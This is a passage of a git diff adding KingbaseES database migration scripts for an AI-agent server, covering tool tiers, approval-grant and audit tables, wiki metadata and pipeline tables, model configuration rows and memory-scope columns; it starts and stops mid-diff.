+ALTER TABLE mate_mcp_server ADD COLUMN IF NOT EXISTS disclosure_tier VARCHAR(16) DEFAULT 'core'; + +-- 3. Seed the heavy generative / browser tools as extension. +-- mate_tool.name stores the Java class name (not the @Tool function name). +UPDATE mate_tool +SET disclosure_tier = 'extension' +WHERE name IN ('ImageGenerateTool', 'MusicGenerateTool', 'VideoGenerateTool', 'Model3dGenerateTool', 'BrowserUseTool') + AND (disclosure_tier IS NULL OR disclosure_tier = 'core'); diff --git a/mateclaw-server/src/main/resources/db/migration/kingbase/V122__fix_generative_tool_tier_names.sql b/mateclaw-server/src/main/resources/db/migration/kingbase/V122__fix_generative_tool_tier_names.sql new file mode 100644 index 00000000..75b8d235 --- /dev/null +++ b/mateclaw-server/src/main/resources/db/migration/kingbase/V122__fix_generative_tool_tier_names.sql @@ -0,0 +1,13 @@ +-- V122__fix_generative_tool_tier_names.sql (MySQL dialect) +-- +-- Corrective migration. The first cut of V121 seeded the generative / browser +-- tools as extension using their @Tool function names (image_generate, ...), +-- but mate_tool.name stores the Java class name (ImageGenerateTool, ...), so the +-- UPDATE matched no rows on databases that ran that early version. Re-apply the +-- seed by class name. Idempotent: only promotes core → extension and leaves any +-- admin-set value untouched. + +UPDATE mate_tool +SET disclosure_tier = 'extension' +WHERE name IN ('ImageGenerateTool', 'MusicGenerateTool', 'VideoGenerateTool', 'Model3dGenerateTool', 'BrowserUseTool') + AND (disclosure_tier IS NULL OR disclosure_tier = 'core'); diff --git a/mateclaw-server/src/main/resources/db/migration/kingbase/V123__conversation_progress_ledger.sql b/mateclaw-server/src/main/resources/db/migration/kingbase/V123__conversation_progress_ledger.sql new file mode 100644 index 00000000..6993f5fc --- /dev/null +++ b/mateclaw-server/src/main/resources/db/migration/kingbase/V123__conversation_progress_ledger.sql @@ -0,0 +1,5 @@ +-- V100: per-conversation progress ledger (see the H2 copy for full background). +-- +-- KingbaseES (PostgreSQL) supports ADD COLUMN IF NOT EXISTS natively. + +ALTER TABLE mate_conversation ADD COLUMN IF NOT EXISTS progress_ledger TEXT NULL; diff --git a/mateclaw-server/src/main/resources/db/migration/kingbase/V124__agent_max_iterations_150.sql b/mateclaw-server/src/main/resources/db/migration/kingbase/V124__agent_max_iterations_150.sql new file mode 100644 index 00000000..a8a55207 --- /dev/null +++ b/mateclaw-server/src/main/resources/db/migration/kingbase/V124__agent_max_iterations_150.sql @@ -0,0 +1,6 @@ +-- V124: bump default agents' max_iterations 100 → 150 (see H2 copy for full +-- background). Same idempotent UPDATE — H2 and MySQL accept identical syntax +-- for this UPDATE so no dialect-specific guard is needed. + +UPDATE mate_agent SET max_iterations = 150 +WHERE id IN (1000000001, 1000000002, 1000000003) AND max_iterations = 100; diff --git a/mateclaw-server/src/main/resources/db/migration/kingbase/V125__agent_workspace_base_path.sql b/mateclaw-server/src/main/resources/db/migration/kingbase/V125__agent_workspace_base_path.sql new file mode 100644 index 00000000..a434a987 --- /dev/null +++ b/mateclaw-server/src/main/resources/db/migration/kingbase/V125__agent_workspace_base_path.sql @@ -0,0 +1,4 @@ +-- V125: Add workspace_base_path column to mate_agent for Agent-level directory override. +-- KingbaseES (PostgreSQL) supports ADD COLUMN IF NOT EXISTS natively. + +ALTER TABLE mate_agent ADD COLUMN IF NOT EXISTS workspace_base_path VARCHAR(512) DEFAULT NULL; diff --git a/mateclaw-server/src/main/resources/db/migration/kingbase/V126__agent_binding_disabled_flags.sql b/mateclaw-server/src/main/resources/db/migration/kingbase/V126__agent_binding_disabled_flags.sql new file mode 100644 index 00000000..adabf996 --- /dev/null +++ b/mateclaw-server/src/main/resources/db/migration/kingbase/V126__agent_binding_disabled_flags.sql @@ -0,0 +1,13 @@ +-- V126: Two binding-mode flags on mate_agent (KingbaseES). +-- +-- skills_disabled / tools_disabled flip the "zero binding rows" semantic from +-- "inherit every globally-enabled capability" to "this agent has explicitly +-- opted out". Without these columns, an operator who wanted an agent with no +-- skills had to bind a dummy skill — otherwise the runtime fell back to the +-- global default and every skill's catalog entry got injected into the system +-- prompt (issue #184). +-- +-- KingbaseES (PostgreSQL) supports ADD COLUMN IF NOT EXISTS natively. + +ALTER TABLE mate_agent ADD COLUMN IF NOT EXISTS skills_disabled BOOLEAN NOT NULL DEFAULT FALSE; +ALTER TABLE mate_agent ADD COLUMN IF NOT EXISTS tools_disabled BOOLEAN NOT NULL DEFAULT FALSE; diff --git a/mateclaw-server/src/main/resources/db/migration/kingbase/V127__approval_auto_grant.sql b/mateclaw-server/src/main/resources/db/migration/kingbase/V127__approval_auto_grant.sql new file mode 100644 index 00000000..399a239f --- /dev/null +++ b/mateclaw-server/src/main/resources/db/migration/kingbase/V127__approval_auto_grant.sql @@ -0,0 +1,25 @@ +-- V127: Approval auto-grant table (MySQL dialect). +-- Idempotent: outer CREATE TABLE uses IF NOT EXISTS; inline KEY clauses +-- only execute on first creation, so re-running this migration is safe. +CREATE TABLE IF NOT EXISTS mate_approval_grant ( + id BIGINT NOT NULL PRIMARY KEY, + workspace_id BIGINT NOT NULL, + scope_type VARCHAR(32) NOT NULL, + scope_id VARCHAR(64) NOT NULL, + tool_name VARCHAR(128) DEFAULT NULL, + rule_id VARCHAR(128) DEFAULT NULL, + max_severity VARCHAR(16) NOT NULL, + grant_kind VARCHAR(24) NOT NULL, + expire_at TIMESTAMP DEFAULT NULL, + granted_by BIGINT NOT NULL, + granted_at TIMESTAMP NOT NULL, + revoked SMALLINT NOT NULL DEFAULT 0, + revoked_by BIGINT DEFAULT NULL, + revoked_at TIMESTAMP DEFAULT NULL, + note VARCHAR(500) DEFAULT NULL, + create_time TIMESTAMP NOT NULL, + update_time TIMESTAMP NOT NULL, + deleted SMALLINT NOT NULL DEFAULT 0 +); +CREATE INDEX IF NOT EXISTS idx_grant_scope ON mate_approval_grant (workspace_id, scope_type, scope_id, tool_name, revoked, deleted); +CREATE INDEX IF NOT EXISTS idx_grant_expire ON mate_approval_grant (expire_at, revoked, deleted); diff --git a/mateclaw-server/src/main/resources/db/migration/kingbase/V128__approval_resolution_log.sql b/mateclaw-server/src/main/resources/db/migration/kingbase/V128__approval_resolution_log.sql new file mode 100644 index 00000000..af437a34 --- /dev/null +++ b/mateclaw-server/src/main/resources/db/migration/kingbase/V128__approval_resolution_log.sql @@ -0,0 +1,25 @@ +-- V128: Approval resolution log table (MySQL dialect). +CREATE TABLE IF NOT EXISTS mate_approval_resolution_log ( + id BIGINT NOT NULL PRIMARY KEY, + -- Nullable: HARD_BLOCK can fire before workspace resolution; see H2 migration + -- for full rationale. Per-workspace Dashboard queries filter on workspace_id + -- and skip null rows; the global HARD_BLOCK panel surfaces them. + workspace_id BIGINT DEFAULT NULL, + conversation_id VARCHAR(128) DEFAULT NULL, + agent_id VARCHAR(64) DEFAULT NULL, + user_id VARCHAR(64) DEFAULT NULL, + tool_call_id VARCHAR(64) DEFAULT NULL, + tool_name VARCHAR(128) NOT NULL, + max_severity VARCHAR(16) DEFAULT NULL, + rule_ids VARCHAR(512) DEFAULT NULL, + decision_source VARCHAR(24) NOT NULL, + grant_id BIGINT DEFAULT NULL, + pending_id VARCHAR(32) DEFAULT NULL, + args_preview VARCHAR(500) DEFAULT NULL, + note VARCHAR(500) DEFAULT NULL, + create_time TIMESTAMP NOT NULL, + deleted SMALLINT NOT NULL DEFAULT 0 +); +CREATE INDEX IF NOT EXISTS idx_resolution_workspace_time ON mate_approval_resolution_log (workspace_id, create_time); +CREATE INDEX IF NOT EXISTS idx_resolution_grant ON mate_approval_resolution_log (grant_id); +CREATE INDEX IF NOT EXISTS idx_resolution_pending ON mate_approval_resolution_log (pending_id); diff --git a/mateclaw-server/src/main/resources/db/migration/kingbase/V129__wiki_page_broken_links.sql b/mateclaw-server/src/main/resources/db/migration/kingbase/V129__wiki_page_broken_links.sql new file mode 100644 index 00000000..a2a2de8d --- /dev/null +++ b/mateclaw-server/src/main/resources/db/migration/kingbase/V129__wiki_page_broken_links.sql @@ -0,0 +1,7 @@ +-- V129: Persisted wikilink lint state — KingbaseES dialect. +-- +-- See h2/V129__wiki_page_broken_links.sql for column semantics. +-- KingbaseES (PostgreSQL) supports ADD COLUMN IF NOT EXISTS natively. + +ALTER TABLE mate_wiki_page ADD COLUMN IF NOT EXISTS broken_links TEXT DEFAULT NULL; +ALTER TABLE mate_wiki_page ADD COLUMN IF NOT EXISTS broken_links_scanned_at TIMESTAMP(3) DEFAULT NULL; diff --git a/mateclaw-server/src/main/resources/db/migration/kingbase/V12__wiki_chunk_table.sql b/mateclaw-server/src/main/resources/db/migration/kingbase/V12__wiki_chunk_table.sql new file mode 100644 index 00000000..5276d434 --- /dev/null +++ b/mateclaw-server/src/main/resources/db/migration/kingbase/V12__wiki_chunk_table.sql @@ -0,0 +1,22 @@ +-- V12: Wiki chunk persistence (RFC-013 minimal slice → enables RFC-011 embedding) +CREATE TABLE IF NOT EXISTS mate_wiki_chunk ( + id BIGINT NOT NULL PRIMARY KEY, + kb_id BIGINT NOT NULL, + raw_id BIGINT NOT NULL, + ordinal INT NOT NULL, + content TEXT NOT NULL, + char_count INT NOT NULL, + start_offset INT NOT NULL, + end_offset INT NOT NULL, + content_hash VARCHAR(64) NOT NULL, + create_time TIMESTAMP NOT NULL, + update_time TIMESTAMP NOT NULL, + deleted INT NOT NULL DEFAULT 0 +); + +-- MySQL lacks CREATE INDEX IF NOT EXISTS; use INFORMATION_SCHEMA.STATISTICS guard instead. +CREATE INDEX IF NOT EXISTS idx_wiki_chunk_kb ON mate_wiki_chunk (kb_id); + +CREATE INDEX IF NOT EXISTS idx_wiki_chunk_raw ON mate_wiki_chunk (raw_id); + +CREATE INDEX IF NOT EXISTS idx_wiki_chunk_hash ON mate_wiki_chunk (content_hash); diff --git a/mateclaw-server/src/main/resources/db/migration/kingbase/V130__agent_primary_kb.sql b/mateclaw-server/src/main/resources/db/migration/kingbase/V130__agent_primary_kb.sql new file mode 100644 index 00000000..b2e53473 --- /dev/null +++ b/mateclaw-server/src/main/resources/db/migration/kingbase/V130__agent_primary_kb.sql @@ -0,0 +1,26 @@ +-- V129: Store the per-agent primary wiki KB on mate_agent (KingbaseES). +-- +-- Knowledge bases remain workspace-shared; this field only chooses the +-- default KB for wiki tools when no kbName/kbId is specified. + +ALTER TABLE mate_agent ADD COLUMN IF NOT EXISTS primary_kb_id BIGINT DEFAULT NULL; +CREATE INDEX IF NOT EXISTS idx_agent_primary_kb ON mate_agent (primary_kb_id); + +UPDATE mate_agent a +SET primary_kb_id = ( + SELECT kb.id + FROM mate_wiki_knowledge_base kb + WHERE kb.agent_id = a.id + AND (kb.workspace_id IS NULL OR kb.workspace_id = a.workspace_id) + AND kb.deleted = 0 + ORDER BY kb.update_time DESC + LIMIT 1 +) +WHERE a.primary_kb_id IS NULL + AND EXISTS ( + SELECT 1 + FROM mate_wiki_knowledge_base kb + WHERE kb.agent_id = a.id + AND (kb.workspace_id IS NULL OR kb.workspace_id = a.workspace_id) + AND kb.deleted = 0 + ); diff --git a/mateclaw-server/src/main/resources/db/migration/kingbase/V131__claude_48_models.sql b/mateclaw-server/src/main/resources/db/migration/kingbase/V131__claude_48_models.sql new file mode 100644 index 00000000..2e1b15d2 --- /dev/null +++ b/mateclaw-server/src/main/resources/db/migration/kingbase/V131__claude_48_models.sql @@ -0,0 +1,36 @@ +-- Add Claude Opus 4.8 (regular + -fast variant) model entries to +-- mate_model_config for existing deployments. New installs pick these up via +-- DatabaseBootstrapRunner from data-mysql-{en,zh}.sql; this migration covers +-- operators who already have earlier Flyway versions applied. +-- +-- Claude 4.8 inherits 4.7's strict API contract: temperature / top_p / top_k +-- must be NULL (otherwise HTTP 400), and the "xhigh" thinking tier is +-- available. Both are handled in AnthropicChatModelBuilder via the +-- isClaude47OrLater() detector. +-- +-- INSERT ... ON CONFLICT DO UPDATE is the PostgreSQL idempotent upsert. +-- Same V number is used in h2/ for cross-dialect parity. + +INSERT INTO mate_model_config (id, name, provider, model_name, description, temperature, max_tokens, top_p, builtin, enabled, is_default, create_time, update_time, deleted) +VALUES +-- Direct Anthropic +(1000000290, 'Claude Opus 4.8', 'anthropic', 'claude-opus-4-8', 'Anthropic Claude Opus 4.8 (xhigh adaptive thinking)', NULL, 4096, NULL, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000291, 'Claude Opus 4.8 Fast', 'anthropic', 'claude-opus-4-8-fast', 'Claude Opus 4.8 fast variant (higher output speed, 2x pricing)', NULL, 4096, NULL, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +-- OpenRouter passthrough +(1000000292, 'Claude Opus 4.8', 'openrouter', 'anthropic/claude-opus-4-8', 'Claude Opus 4.8 via OpenRouter', NULL, 4096, NULL, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000293, 'Claude Opus 4.8 Fast', 'openrouter', 'anthropic/claude-opus-4-8-fast', 'Claude Opus 4.8 fast variant via OpenRouter', NULL, 4096, NULL, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +-- Claude Code OAuth (Pro/Max subscription) +(1000000294, 'Claude Opus 4.8', 'anthropic-claude-code', 'claude-opus-4-8', 'Claude Opus 4.8 via Claude Code Pro/Max subscription', NULL, 4096, NULL, TRUE, TRUE, FALSE, NOW(), NOW(), 0) +ON CONFLICT (id) DO UPDATE SET + name = EXCLUDED.name, + provider = EXCLUDED.provider, + model_name = EXCLUDED.model_name, + description = EXCLUDED.description, + temperature = EXCLUDED.temperature, + max_tokens = EXCLUDED.max_tokens, + top_p = EXCLUDED.top_p, + builtin = EXCLUDED.builtin, + enabled = EXCLUDED.enabled, + is_default = EXCLUDED.is_default, + update_time = EXCLUDED.update_time, + deleted = EXCLUDED.deleted; diff --git a/mateclaw-server/src/main/resources/db/migration/kingbase/V132__memory_consolidation_cron_tier_discipline.sql b/mateclaw-server/src/main/resources/db/migration/kingbase/V132__memory_consolidation_cron_tier_discipline.sql new file mode 100644 index 00000000..dc961ad0 --- /dev/null +++ b/mateclaw-server/src/main/resources/db/migration/kingbase/V132__memory_consolidation_cron_tier_discipline.sql @@ -0,0 +1,13 @@ +-- Update the daily "memory consolidation" cron prompt on existing databases so it +-- keeps project-specific volatile facts (codenames, tech stacks, per-project +-- decisions) out of the always-on MEMORY.md. Seed scripts only run on fresh +-- installs, so existing rows need this data migration to pick up the new wording. +-- Scoped to the original default text so user-edited prompts are left untouched. + +UPDATE mate_cron_job +SET trigger_message = '请回顾你最近的 memory/ 日记文件,将反复出现的重要信息(用户偏好、稳定事实、经验教训、工作流)提炼整合到 MEMORY.md 中。注意:MEMORY.md 会被注入每一次对话,只整合跨项目长期稳定的信息;具体项目的代号、名称、技术栈、仓库、单项目的指标/预算/团队/上线日期或只对某个项目成立的决策等易变事实,不要写入 MEMORY.md(会随项目切换互相冲突、导致张冠李戴),应留在 daily note 或通过结构化 project 记忆维护。判定口诀:换一个项目后仍成立才进 MEMORY.md。保留日记原文不动,只更新 MEMORY.md。完成后简要说明做了哪些整合。' +WHERE trigger_message = '请回顾你最近的 memory/ 日记文件,将反复出现的重要信息(用户偏好、稳定事实、经验教训、工作流)提炼整合到 MEMORY.md 中。保留日记原文不动,只更新 MEMORY.md。完成后简要说明做了哪些整合。'; + +UPDATE mate_cron_job +SET trigger_message = 'Review your recent memory/ daily note files and consolidate recurring important information (user preferences, stable facts, lessons learned, workflows) into MEMORY.md. Note: MEMORY.md is injected into every conversation, so only consolidate cross-project, long-term stable information; do NOT write project-specific volatile facts into MEMORY.md (project codenames, names, tech stacks, repos, a single project''s metrics/budget/team/launch date, or decisions that hold only for one project) — they conflict across projects and cause mix-ups. Keep those in the daily note or maintain them via structured project memory. Rule of thumb: only facts that still hold after switching projects belong in MEMORY.md. Keep the original daily notes intact, only update MEMORY.md. Briefly describe what consolidations were made.' +WHERE trigger_message = 'Review your recent memory/ daily note files and consolidate recurring important information (user preferences, stable facts, lessons learned, workflows) into MEMORY.md. Keep the original daily notes intact, only update MEMORY.md. Briefly describe what consolidations were made.'; diff --git a/mateclaw-server/src/main/resources/db/migration/kingbase/V133__wiki_agent_page_type_permission.sql b/mateclaw-server/src/main/resources/db/migration/kingbase/V133__wiki_agent_page_type_permission.sql new file mode 100644 index 00000000..7710d863 --- /dev/null +++ b/mateclaw-server/src/main/resources/db/migration/kingbase/V133__wiki_agent_page_type_permission.sql @@ -0,0 +1,27 @@ +-- V133: Per-agent, per-KB, per-pageType permission for wiki tools. +-- Read permission filters retrieval/listing; write permission gates the +-- create/compile/delete/archive/enrich/transformation tools. A row with +-- page_type='*' is the agent's KB-wide default; an exact page_type row is +-- more specific and wins over '*'. Unconfigured (no rows) falls back to the +-- KB-level defaultReadPolicy stored in the KB config. + +CREATE TABLE IF NOT EXISTS mate_wiki_agent_page_type_permission ( + id BIGINT NOT NULL PRIMARY KEY, + agent_id BIGINT NOT NULL, + kb_id BIGINT NOT NULL, + page_type VARCHAR(64) NOT NULL, + -- SMALLINT (not BOOLEAN): the entity fields WikiAgentPageTypePermissionEntity + -- .can{Read,Create,Update,Delete} are Integer (1/0). Vanilla PostgreSQL cannot + -- map a BOOLEAN into a JDBC int, so these must stay integer-typed. Do not + -- "normalize" to BOOLEAN to match the other flag columns. + can_read SMALLINT NOT NULL DEFAULT 1, + can_create SMALLINT NOT NULL DEFAULT 0, + can_update SMALLINT NOT NULL DEFAULT 0, + can_delete SMALLINT NOT NULL DEFAULT 0, + write_policy VARCHAR(32) NOT NULL DEFAULT 'approval_required', + create_time TIMESTAMP NOT NULL DEFAULT CURRENT_TIMESTAMP, + update_time TIMESTAMP NOT NULL DEFAULT CURRENT_TIMESTAMP, + deleted INT NOT NULL DEFAULT 0 +); +CREATE UNIQUE INDEX IF NOT EXISTS uk_wiki_agent_ptperm ON mate_wiki_agent_page_type_permission (agent_id, kb_id, page_type, deleted); +CREATE INDEX IF NOT EXISTS idx_wiki_ptperm_agent_kb ON mate_wiki_agent_page_type_permission (agent_id, kb_id, deleted); diff --git a/mateclaw-server/src/main/resources/db/migration/kingbase/V134__wiki_page_type_profile.sql b/mateclaw-server/src/main/resources/db/migration/kingbase/V134__wiki_page_type_profile.sql new file mode 100644 index 00000000..845f9510 --- /dev/null +++ b/mateclaw-server/src/main/resources/db/migration/kingbase/V134__wiki_page_type_profile.sql @@ -0,0 +1,81 @@ +-- V134: KB-scoped pageType profile + structured page metadata columns. +-- See the H2 file for the design rationale. PostgreSQL/KingbaseES uses a STORED +-- generated column for the "one enabled profile per KB" constraint, and an +-- information_schema guard for each idempotent ADD COLUMN (PostgreSQL has no +-- ADD COLUMN IF NOT EXISTS). + +CREATE TABLE IF NOT EXISTS mate_wiki_page_type_profile ( + id BIGINT NOT NULL, + kb_id BIGINT NOT NULL, + name VARCHAR(128) NOT NULL, + version INT NOT NULL DEFAULT 1, + config_json TEXT NOT NULL, + -- SMALLINT (not BOOLEAN): WikiPageTypeProfileEntity.enabled is Integer (1/0). + -- Vanilla PostgreSQL cannot map a BOOLEAN into a JDBC int. The generated + -- column below compares enabled = 1 accordingly. Do not switch to BOOLEAN. + enabled SMALLINT NOT NULL DEFAULT 1, + create_time TIMESTAMP(3) NOT NULL DEFAULT CURRENT_TIMESTAMP, + update_time TIMESTAMP(3) NOT NULL DEFAULT CURRENT_TIMESTAMP, + deleted INT NOT NULL DEFAULT 0, + -- Yields kb_id only for the live-enabled row; NULL otherwise. PostgreSQL + -- ignores NULL keys for uniqueness, giving "at most one enabled per KB". + enabled_kb BIGINT + GENERATED ALWAYS AS ( + CASE WHEN enabled = 1 AND deleted = 0 THEN kb_id ELSE NULL END + ) STORED, + PRIMARY KEY (id) +); +CREATE UNIQUE INDEX IF NOT EXISTS uk_wiki_ptprofile_name ON mate_wiki_page_type_profile (kb_id, name, deleted); +CREATE UNIQUE INDEX IF NOT EXISTS uk_wiki_ptprofile_enabled ON mate_wiki_page_type_profile (enabled_kb); +CREATE INDEX IF NOT EXISTS idx_wiki_ptprofile_kb ON mate_wiki_page_type_profile (kb_id, enabled, deleted); + +-- Structured page metadata columns (idempotent adds). +DO $$ +BEGIN + IF NOT EXISTS ( + SELECT 1 FROM information_schema.columns + WHERE table_name = 'mate_wiki_page' AND column_name = 'metadata_json' + ) THEN + ALTER TABLE mate_wiki_page ADD COLUMN metadata_json TEXT; + END IF; +END $$; + +DO $$ +BEGIN + IF NOT EXISTS ( + SELECT 1 FROM information_schema.columns + WHERE table_name = 'mate_wiki_page' AND column_name = 'metadata_validation_status' + ) THEN + ALTER TABLE mate_wiki_page ADD COLUMN metadata_validation_status VARCHAR(32); + END IF; +END $$; + +DO $$ +BEGIN + IF NOT EXISTS ( + SELECT 1 FROM information_schema.columns + WHERE table_name = 'mate_wiki_page' AND column_name = 'metadata_validation_json' + ) THEN + ALTER TABLE mate_wiki_page ADD COLUMN metadata_validation_json TEXT; + END IF; +END $$; + +DO $$ +BEGIN + IF NOT EXISTS ( + SELECT 1 FROM information_schema.columns + WHERE table_name = 'mate_wiki_page' AND column_name = 'template_key' + ) THEN + ALTER TABLE mate_wiki_page ADD COLUMN template_key VARCHAR(128); + END IF; +END $$; + +DO $$ +BEGIN + IF NOT EXISTS ( + SELECT 1 FROM information_schema.columns + WHERE table_name = 'mate_wiki_page' AND column_name = 'profile_version' + ) THEN + ALTER TABLE mate_wiki_page ADD COLUMN profile_version INT; + END IF; +END $$; diff --git a/mateclaw-server/src/main/resources/db/migration/kingbase/V135__wiki_layered_knowledge.sql b/mateclaw-server/src/main/resources/db/migration/kingbase/V135__wiki_layered_knowledge.sql new file mode 100644 index 00000000..fe6bdd70 --- /dev/null +++ b/mateclaw-server/src/main/resources/db/migration/kingbase/V135__wiki_layered_knowledge.sql @@ -0,0 +1,58 @@ +-- V135: Layered knowledge (fact / experience) + page dependency graph. +-- See the H2 file for rationale. MySQL uses INFORMATION_SCHEMA guards for the +-- idempotent column adds. + +DO $$ +BEGIN + IF NOT EXISTS ( + SELECT 1 FROM information_schema.columns + WHERE table_name = 'mate_wiki_page' AND column_name = 'knowledge_layer' + ) THEN + ALTER TABLE mate_wiki_page ADD COLUMN knowledge_layer VARCHAR(16); + END IF; +END $$; + +DO $$ +BEGIN + IF NOT EXISTS ( + SELECT 1 FROM information_schema.columns + WHERE table_name = 'mate_wiki_page' AND column_name = 'depends_on_json' + ) THEN + ALTER TABLE mate_wiki_page ADD COLUMN depends_on_json TEXT; + END IF; +END $$; + +DO $$ +BEGIN + IF NOT EXISTS ( + SELECT 1 FROM information_schema.columns + WHERE table_name = 'mate_wiki_page' AND column_name = 'stale' + ) THEN + -- SMALLINT (not BOOLEAN): WikiPageEntity.stale is Integer (1/0). Vanilla + -- PostgreSQL cannot map a BOOLEAN into a JDBC int. Do not switch to BOOLEAN. + ALTER TABLE mate_wiki_page ADD COLUMN stale SMALLINT NOT NULL DEFAULT 0; + END IF; +END $$; + +DO $$ +BEGIN + IF NOT EXISTS ( + SELECT 1 FROM information_schema.columns + WHERE table_name = 'mate_wiki_page' AND column_name = 'stale_reason_json' + ) THEN + ALTER TABLE mate_wiki_page ADD COLUMN stale_reason_json TEXT; + END IF; +END $$; + +CREATE TABLE IF NOT EXISTS mate_wiki_page_dependency ( + id BIGINT NOT NULL PRIMARY KEY, + kb_id BIGINT NOT NULL, + page_id BIGINT NOT NULL, + depends_on_page_id BIGINT NOT NULL, + dependency_type VARCHAR(32) NOT NULL DEFAULT 'fact', + create_time TIMESTAMP(3) NOT NULL DEFAULT CURRENT_TIMESTAMP, + update_time TIMESTAMP(3) NOT NULL DEFAULT CURRENT_TIMESTAMP, + deleted INT NOT NULL DEFAULT 0 +); +CREATE UNIQUE INDEX IF NOT EXISTS uk_wiki_page_dep ON mate_wiki_page_dependency (page_id, depends_on_page_id, dependency_type, deleted); +CREATE INDEX IF NOT EXISTS idx_wiki_page_dep_reverse ON mate_wiki_page_dependency (kb_id, depends_on_page_id, deleted); diff --git a/mateclaw-server/src/main/resources/db/migration/kingbase/V136__wiki_pipeline_runtime.sql b/mateclaw-server/src/main/resources/db/migration/kingbase/V136__wiki_pipeline_runtime.sql new file mode 100644 index 00000000..d022e094 --- /dev/null +++ b/mateclaw-server/src/main/resources/db/migration/kingbase/V136__wiki_pipeline_runtime.sql @@ -0,0 +1,57 @@ +-- V136: Wiki pipeline runtime — definitions, runs, and per-step runs. +-- See the H2 file for design rationale. + +CREATE TABLE IF NOT EXISTS mate_wiki_pipeline_definition ( + id BIGINT NOT NULL PRIMARY KEY, + kb_id BIGINT NOT NULL, + name VARCHAR(128) NOT NULL, + owner_agent_id BIGINT NOT NULL, + trigger_type VARCHAR(32) NOT NULL, + trigger_config_json TEXT, + steps_json TEXT NOT NULL, + dedup_window_seconds INT NOT NULL DEFAULT 0, + -- SMALLINT (not BOOLEAN): WikiPipelineDefinitionEntity.enabled is Integer (1/0). + -- Vanilla PostgreSQL cannot map a BOOLEAN into a JDBC int. Do not switch to BOOLEAN. + enabled SMALLINT NOT NULL DEFAULT 1, + create_time TIMESTAMP(3) NOT NULL DEFAULT CURRENT_TIMESTAMP, + update_time TIMESTAMP(3) NOT NULL DEFAULT CURRENT_TIMESTAMP, + deleted INT NOT NULL DEFAULT 0 +); +CREATE UNIQUE INDEX IF NOT EXISTS uk_wiki_pipeline_def_name ON mate_wiki_pipeline_definition (kb_id, name, deleted); +CREATE INDEX IF NOT EXISTS idx_wiki_pipeline_def_trigger ON mate_wiki_pipeline_definition (kb_id, trigger_type, enabled, deleted); + +CREATE TABLE IF NOT EXISTS mate_wiki_pipeline_run ( + id BIGINT NOT NULL PRIMARY KEY, + definition_id BIGINT NOT NULL, + kb_id BIGINT NOT NULL, + status VARCHAR(16) NOT NULL, + trigger_type VARCHAR(32) NOT NULL, + trigger_subject VARCHAR(128) NOT NULL, + trigger_bucket VARCHAR(64) NOT NULL, + trigger_payload_json TEXT, + input_json TEXT, + output_json TEXT, + error_message VARCHAR(2048), + started_at TIMESTAMP(3), + finished_at TIMESTAMP(3), + create_time TIMESTAMP(3) NOT NULL DEFAULT CURRENT_TIMESTAMP, + deleted INT NOT NULL DEFAULT 0 +); +CREATE UNIQUE INDEX IF NOT EXISTS uk_wiki_pipeline_run_dedup ON mate_wiki_pipeline_run (definition_id, trigger_type, trigger_subject, trigger_bucket, deleted); +CREATE INDEX IF NOT EXISTS idx_wiki_pipeline_run_def ON mate_wiki_pipeline_run (definition_id, status); + +CREATE TABLE IF NOT EXISTS mate_wiki_pipeline_step_run ( + id BIGINT NOT NULL PRIMARY KEY, + run_id BIGINT NOT NULL, + step_id VARCHAR(128) NOT NULL, + executor VARCHAR(32) NOT NULL, + status VARCHAR(16) NOT NULL, + input_json TEXT, + output_json TEXT, + error_message VARCHAR(2048), + started_at TIMESTAMP(3), + finished_at TIMESTAMP(3), + create_time TIMESTAMP(3) NOT NULL DEFAULT CURRENT_TIMESTAMP, + deleted INT NOT NULL DEFAULT 0 +); +CREATE INDEX IF NOT EXISTS idx_wiki_pipeline_step_run ON mate_wiki_pipeline_step_run (run_id, status); diff --git a/mateclaw-server/src/main/resources/db/migration/kingbase/V137__memory_owner_scope.sql b/mateclaw-server/src/main/resources/db/migration/kingbase/V137__memory_owner_scope.sql new file mode 100644 index 00000000..ed7a0033 --- /dev/null +++ b/mateclaw-server/src/main/resources/db/migration/kingbase/V137__memory_owner_scope.sql @@ -0,0 +1,107 @@ +-- V137: Per-owner memory isolation with a three-state visibility scope (MySQL). +-- +-- See the H2 counterpart for the full rationale. MySQL has no +-- "ADD COLUMN IF NOT EXISTS", so each column/index is guarded with an +-- INFORMATION_SCHEMA existence check + prepared statement for idempotency. +-- +-- Existing rows are backfilled to scope='TEAM' by the NOT NULL DEFAULT so that +-- upgrading does NOT hide previously-shared memory. + +-- ---------- mate_workspace_file ---------- +DO $$ +BEGIN + IF NOT EXISTS ( + SELECT 1 FROM information_schema.columns + WHERE table_name = 'mate_workspace_file' AND column_name = 'owner_key' + ) THEN + ALTER TABLE mate_workspace_file ADD COLUMN owner_key VARCHAR(128) NULL; + END IF; +END $$; + +DO $$ +BEGIN + IF NOT EXISTS ( + SELECT 1 FROM information_schema.columns + WHERE table_name = 'mate_workspace_file' AND column_name = 'scope' + ) THEN + ALTER TABLE mate_workspace_file ADD COLUMN scope VARCHAR(16) NOT NULL DEFAULT 'TEAM'; + END IF; +END $$; + +CREATE INDEX IF NOT EXISTS idx_workspace_file_scope_owner ON mate_workspace_file (agent_id, scope, owner_key); + +-- Shared rows use the '' sentinel (not NULL) so the unique index below treats +-- one shared row per filename as a single slot (NULLs are distinct in unique indexes). +UPDATE mate_workspace_file SET owner_key = '' WHERE owner_key IS NULL; + +-- De-duplicate before adding the unique index: the table never had a unique +-- constraint and the service layer was check-then-insert, so historical +-- duplicates may exist. Keep the most recently inserted row per +-- (agent_id, filename, owner_key); drop the rest. The extra derived-table wrap +-- is required so MySQL doesn't reject selecting from the table being deleted. +-- +-- IRREVERSIBLE: this keeps MAX(id) (newest row) and PERMANENTLY deletes the +-- other rows in a duplicate group — their content / enabled / sort_order are +-- not preserved or merged. Duplicates are NOT expected (every write path is +-- check-then-insert), so this is a safety net to guarantee the index builds, +-- not a routine merge. If a deployment knowingly relies on duplicate rows, +-- reconcile them manually before upgrading. +DELETE FROM mate_workspace_file +WHERE id NOT IN ( + SELECT keep_id FROM ( + SELECT MAX(id) AS keep_id + FROM mate_workspace_file + GROUP BY agent_id, filename, owner_key + ) t +); + +-- One row per (agent, filename, owner): one shared row + one row per PERSONAL +-- owner. Hardens the check-then-insert in saveFile/saveMemoryFile against +-- concurrent / multi-node duplicates. +CREATE UNIQUE INDEX IF NOT EXISTS uk_workspace_file_owner ON mate_workspace_file (agent_id, filename, owner_key); + +-- ---------- mate_memory_recall ---------- +DO $$ 